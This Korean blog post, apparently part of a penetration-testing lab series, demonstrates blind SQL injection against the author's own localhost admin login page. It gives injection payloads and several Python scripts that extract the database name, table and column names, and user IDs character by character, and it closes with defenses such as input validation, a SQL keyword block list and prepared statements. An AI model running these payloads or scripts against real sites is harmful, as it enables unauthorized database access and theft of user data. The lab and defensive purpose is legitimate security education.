[모의해킹 실습] Blind SQL Injection 게시판 구현 및 공격실습 3

Blind SQL Injection

공격 원리

 

1. SQL Injection 공격 가능 여부 확인

2. 데이터 개수 확인(Table, Column, Data)

3. 데이터 문자열 1개씩 추출

4. 데이터 1 추출

5. 모든 데이터 추출

6. 원하는 데이터 추출


논리 연산자를 이용해 True 쿼리문과 False 쿼리문의 결과를 비교하여 정보를 추출하는 공격입니다. AND 연산자를 사용해 논리가 맞지 않을 출력되는 데이터와 참일 출력되는 데이터를 비교하여 공격할 있습니다. 공격 과정은 다음과 같습니다.

 

 

취약 코드 구현

SQL Injection에 사용했던 관리자 로그인 페이지에서 실습한다. 관리자 로그인 php 코드는 gomguk.tistory.com/58 에서 확인할 수 있다.

공격 실습

No.

실습 위치

비고

1

localhost/adminlogin

관리자 로그인

 

Step1.SQL Injection이 가능한 폼에 참인 쿼리문을 작성했을 때 로그인이 동작함을 확인한다.

입력 구문: ‘or 1=1#

참인 쿼리문 입력했을 때 결과

Step2. SQL Injection이 가능한 폼에 거짓인 쿼리문을 작성했을 때 로그인이 불가능함을 확인한다.

입력 구문 : ‘or 1=0#

거짓인 쿼리문 입력했을 때 결과

Step3. 참인 쿼리문과 거짓인 쿼리문의 결과가 다른 것을 확인할 수 있으며 이를 이용해 Blind SQL Injection을 시도할 수 있다. 다음 과정으로 데이터베이스의 길이를 구한다. BurpIntruder 기능을 사용하거나 자동화 스크립트 작성을 통해 추출할 수 있다.

입력 구문 : ' or 1=1 and length(database())>1#

Blind SQL Injection 시도

공격을 위해 파이썬 스크립트를 작성하여 공격을 자동화하였다.

import requests

URL = "localhost/adminlogin.php"

for cnt in range(1, 255):
	sqlquery = "' or 1=1 and length(database())=" + str(cnt) + "# "
	postquery = "username=" + sqlquery + "&password=1&form=submit"
	res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})

	if "SUCCESS" in res.text:
		print(f"done! DB LENGTH : {cnt}")
		break

Step 4.스크립트 실행 결과는 다음과 같다. DB의 길이는 7임을 확인할 수 있다.

db 길이 추출 결과

Step 5. DB 이름을 알아내기 위해 공격 SQL Injection 구문을 사용한다. 입력한 구문은 DB의 첫 번째 글자가 ‘Z’인지 확인한다. ascii() 함수를 이용하여 범위를 줄여나가면서 탐색한다.

입력 구문: ‘or 1=1 and ascii(substring(database(), 1,1))<=90#

공격에 사용한 코드는 다음과 같다.

import requests
URL = "http://localhost/adminlogin.php"
min = 48 # '1'
max = 122 # 'z'
DB_LEN = 7
dbname = []
for idx in range(1, DB_LEN+1):
	for cnt in range(min, max+1):
		sqlquery = "' or 1=1 and ascii(substring(database()," + str(idx) + ",1))<=" + str(cnt) + "# "
		postquery = "username=" + sqlquery + "&password=1&form=submit"
		res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})
		if "SUCCESS" in res.text:
			print(f"Catch one! {cnt}")
			dbname.append(chr(cnt))
			break
print(f"DONE! DB name is {dbname}")

데이터베이스 명 추출

Step 6. 추출한 데이터베이스 명으로 테이블 이름의 길이를 추출한다. information_schema 데이터베이스의 tables테이블에서 이름을 추출하고, 메타데이터 테이블을 제외한 테이블 중 table_schema‘myuser’ 데이터베이스인 테이블을 추출한다. 그 테이블의 길이가 9인지 여부를 확인하고 참, 거짓에 따른 결과를 판단하여 숫자를 변경하며 반복하여 시도한다.

입력 구문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='myuser1' limit 0,1))=9#

테이블 길이 추출 시도

Step 7.BurpIntruder 기능을 이용한 결과 응답 값의 길이가 다른 요청의 확인을 통해 테이블 길이를 확인한다.

테이블 길이 추출 결과

Step 8. Step7에서 확인한 테이블 길이를 이용하여 테이블 명을 추출한다. 각각의 테이블 명을 조회할 수 있으며 한 글자씩 조회해야 하므로 서버 환경에 따라 오랜 시간이 걸릴 수 있다.

입력구문: ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='myuser1' limit 0,1),1,1)) >= 90#

공격에 사용한 코드는 다음과 같다.

import requests
URL = "http://localhost/adminlogin.php"

min = 48 # '1'
max = 122 # 'z'
TABLE_LEN = 6
tablename = []

for idx in range(1, TABLE_LEN+1):
	for cnt in range(min, max+1):
		sqlquery = "' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='myuser1' limit 0,1),"+str(idx)+",1)) <= "+ str(cnt) +"# "
		postquery = "username=" + sqlquery + "&password=1&form=submit"
		res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})
		if "SUCCESS" in res.text:
			print(f"Catch one! {cnt}")
			tablename.append(chr(cnt))
			break
print(f"DONE! TABLE name is {tablename}")

테이블 명 추출 결과

Step 9.테이블 명을 추출한 방법대로 컬럼 수를 추출하고 컬럼 명을 추출한다.

입력구문: ' or 1=1 and length((select column_name from information_schema.columns where table_name='member' limit 0,1))=1#

첫번째 컬럼 길이 추출
두번째 컬럼 길이 추출

각 컬럼명의 길이를 정리하면 다음과 같다.

컬럼 순서

컬럼명 길이

1

3

2

2

3

2

4

4

5

7

6

3

7

5

Step 10.테이블 명 추출 방법과 마찬가지로 ascii() 함수와 substring()함수를 이용하여 각 칼럼명을 추출한다.

입력구문 : ' or 1=1 and ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) = 105#

import requests
URL = "http://localhost/adminlogin.php"
min = 48 # '1'
max = 122 # 'z'
column_LEN = [3,2,2,4,7,3,5] # length of each column
colname = []

for i in range(len(column_LEN)):
	result = ""
	for idx in range(1, column_LEN[i]+1):
		for cnt in range(min, max+1):
			sqlquery = "' or 1=1 and ascii(substring((select column_name from information_schema.columns where table_name='member' limit "+ str(i) + ",1),"+ str(idx) +",1)) = "+ str(cnt) +"# "
			postquery = "username=" + sqlquery + "&password=1&form=submit"
			res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})

			if "SUCCESS" in res.text:
				print(f"Catch one! {cnt}")
				result = result + chr(cnt)
				break
	colname.append(result)

print(f"col name is {colname}")

컬럼 명 추출 결과

Step11.추출한 컬럼 명을 이용해 각 컬럼 별 데이터의 길이를 확인할 수 있다.

입력구문: ' or 1=1 and length((select id from member limit 0,1))=6#

컬럼 별 데이터 길이 확인 시도
컬럼 별 데이터 길이 확인 성공

Step12. 추출한 컬럼 별 데이터 길이를 이용하여 데이터를 추출할 수 있다.

입력구문: ' or 1=1 and ascii(substring((select id from member limit 0, 1),1,1)) >= 97#

Step11~12에서 사용한 코드는 다음과 같다.

import requests
URL = "http://localhost/adminlogin.php"
min = 48 # '1'
max = 122 # 'z'
num_min = 1
num_max = 255
colname = []
result = ""
data=[]
for idx in range(0, 6):
	for cnt in range(num_min , num_max+1):
		sqlquery = "' or 1=1 and length((select id from member limit "+ str(idx) +",1))="+str(cnt)+"# "
		postquery = "username=" + sqlquery + "&password=1&form=submit"
		res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})
		if "SUCCESS" in res.text:
			print(f"Catch one! {cnt}")
			colname.append(cnt)
			break
print(f"col name_length is {colname}")
for index in range(len(colname)):
	result = ""
	for j in range(1, colname[index]+1):
		for cnt in range(min, max+1):
			sqlquery = "' or 1=1 and ascii(substring((select id from member limit "+ str(index) +", 1),"+ str(j) +",1)) ="+ str(cnt) + "# "
			postquery = "username=" + sqlquery + "&password=1&form=submit"
			res = requests.post(url=URL, data=postquery, headers={'Content-Type': 'application/x-www-form-urlencoded'})
			if "SUCCESS" in res.text:
				result = result + chr(cnt)
				break
	data.append(result)
print(f"data : {data}")

Blind SQL Injection을 통해 사용자의 데이터를 추출할 수 있다. Blind SQL Injection 공격 시 데이터 별 길이를 먼저 알아야 하고 한 글자씩 추출해야 하므로 테이블의 모든 데이터를 추출하는 데 오랜 시간이 소요된다다. 이는 탐색알고리즘 적용 등을 통해 개선될 수 있다.

해당 사이트는 사용자 입력 값 검증이 미흡한 점과 에러 페이지 노출, 동적 쿼리 사용으로 인해 SQL Injection이 가능함을 확인하였니다. 보안 대책으로는 입력 값 검증과 예외처리, Prepared Statement를 사용하여 SQL Injection공격을 방지할 수 있다.

 

SQL Injection 보안 대책

입력 검증

사용자의 입력 값이 DB Query 동적으로 영향을 주는 경우 입력된 값이 개발자가 의도한 값인지 검증합니다.

/*, -, ‘, “, ?, #, (, ), ;, @, =, *, +, union, select, drop, update, from, where, join, substr, user_tables, user_table_columns, information_schema, sysobject, table_schema, declare, dual,…

위와 같은 의도하지 않은 입력 값에 대해 검증하고 차단해야 합니다.

예시) PHP에서의 입력 검증

UserInput = preg_replace(“/[\r\n\s\t\’\;\”\=\-\-\#\/*]+/”,“”, $UserInput);

if(preg_match(‘/(union|select|from|where)/i’, $UserInput)) {

    $this–>Error_popup(‘No SQL-Injection’);

}

저장 프로시저 사용

저장 프로시저는 사용하고자 하는 쿼리에 대해 미리 형식을 지정하는 것을 말합니다. 지정된 형식 데이터가 아니면 쿼리가 실행되지 않습니다.

if(ctype_digit($_POST[‘uId’]) && is_int($_POST[‘uId’])) {

    $validateduId = $_POST[‘uId’];

    $pdo = new PDO(‘mysql:store.db’);

    $stmt = $pdo–>prepare(‘SELECT * FROM tb_user WHERE user_id = :uId’);

    $stmt–>bindParam(‘:uId’, $validateduId, PDO::PARAM_INT);

    $stmt–>execute();

} else {

    // reject id value

}

 

서버 보안 적용

최소한의 권한으로 DB 운영하고, 사용하지 않는 저장 프로시저와 내장함수를 제거하거나 권한을 제어합니다. 목적에 따라 쿼리의 권한을 수정하며 공용 시스템 객체에도 접근 제어를 통해 관리합니다. 신뢰할 있는 네트워크, 서버에 대해서만 접근을 허용하고 에러메시지가 웹페이지에 노출되지 않도록 설정합니다.

반응형